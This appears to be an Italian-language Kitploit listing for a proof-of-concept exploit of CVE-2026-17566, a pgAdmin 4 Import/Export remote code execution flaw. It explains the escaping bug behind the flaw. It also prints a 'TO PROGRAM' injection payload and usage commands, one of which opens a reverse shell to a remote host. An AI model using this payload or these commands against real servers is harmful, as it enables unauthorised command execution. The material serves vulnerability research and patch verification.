Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/hackspeak/cve-2026-17566
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration Testing
GitHubhackspeak/cve-2026-17566

CVE-2026-17566

pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - iniezione TO PROGRAM tramite disallineamento di escape con barra rovesciata

Vedi Repository
111 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-17566 — PoC RCE per l'Import/Export Data di pgAdmin 4

PoC di esecuzione remota di codice per lo strumento Import/Export Data di pgAdmin 4. Sfrutta la divergenza semantica dell'escaping della barra rovesciata tra il controllo parentesi _is_query_parens_balanced() e psql, iniettando \copy ... TO PROGRAM per eseguire comandi arbitrari sul server che esegue pgAdmin.

Catena d'attacco di contesto: CVE-2026-17349 (divulgazione di credenziali Workspaces) → CVE-2026-17351 (bypass di sola lettura dell'AI Assistant) → questa vulnerabilità (RCE). Tutte e tre richiedono solo un utente autenticato con privilegi bassi.

Riepilogo della vulnerabilità

Lo strumento Import/Export Data inserisce l'SQL dell'utente in un template Jinja per costruire il comando psql \copy (...). Il controllo manuale del bilanciamento delle parentesi tratta sempre \' come una virgoletta escape (corretto solo quando standard_conforming_strings=off); mentre con PostgreSQL predefinito , , chiudendo direttamente la virgoletta.

standard_conforming_strings=on
psql considera la barra rovesciata un carattere normale
root@kitploit:~
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'

Il controllo ritiene che ) sia ancora dentro la stringa → il bilanciamento delle parentesi risulta "ok"; psql chiude la stringa in corrispondenza di a\', ) termina il wrapper \copy (...), e TO PROGRAM 'cmd' diventa un'istruzione attiva, eseguita dalla popen() di psql.

  • CWE: CWE-78 (iniezione di comandi OS) / CWE-115 (errata interpretazione dell'input)
  • CVSS: 9.9 (CVSS 3.1) / 9.4 (CVSS 4.0), ambito modificato, privilegi bassi + nessuna interazione
  • Interessati: pgAdmin 4 < 9.18 (dall'introduzione di _is_query_parens_balanced()); commit di fix 1496fabe
  • Correlati: CVE-2025-12762 / CVE-2025-13780 (iniezione TO PROGRAM di psql, stessa famiglia)
  • Scoperto da: Arpit Jain (arpitjain099)

Condizioni di sfruttamento

  • Utente pgAdmin autenticato con privilegi bassi (in possesso del permesso tools_import_export_data)
  • Servizio pgAdmin raggiungibile via rete
  • Target con pgAdmin 4 < 9.18 e strumento Import/Export disponibile

Utilizzo

root@kitploit:~
export PGADMIN_PASSWORD='账户密码'

# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'

# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --reverse 10.0.0.1:4555
ParametroDescrizione
--urlURL base di pgAdmin
--user / --password (o PGADMIN_PASSWORD)Account con privilegi bassi
--commandComando arbitrario (non può contenere apici singoli)
--reverse HOST:PORTGenera una reverse shell bash
--server-idID del server (predefinito: primo disponibile)
--fileNome del file di esportazione (usato per costruire il comando \copy, predefinito /tmp/pgadmin_export.csv)
--no-verifySalta la verifica del certificato TLS

Flusso: login (gestione automatica di CSRF/sessione) → enumerazione dei server → invio della richiesta is_query_export costruita tramite POST /import_export/job/<sid>.

⚠️ Disclaimer

Utilizzare esclusivamente per ricerca di sicurezza, verifica di vulnerabilità e test difensivi. Questo script è stato scritto sulla base di analisi tecniche pubbliche e non è stato verificato su un sistema reale: i campi delle richieste potrebbero richiedere piccole regolazioni in base alla versione di pgAdmin di destinazione. Eseguire solo in ambienti di test autorizzati; non utilizzare su sistemi non autorizzati.

Attribuzione e riferimenti

  • Questa repository è un PoC scritto in modo indipendente (licenza MIT), basato su informazioni tecniche pubbliche
  • Issue ufficiale #10213: Errore semantico della barra rovesciata nel controllo parentesi
  • OpenCVE: CVE-2026-17566
  • NVD: CVE-2026-17566
  • Commit di fix: 1496fabe
Scarica lo strumento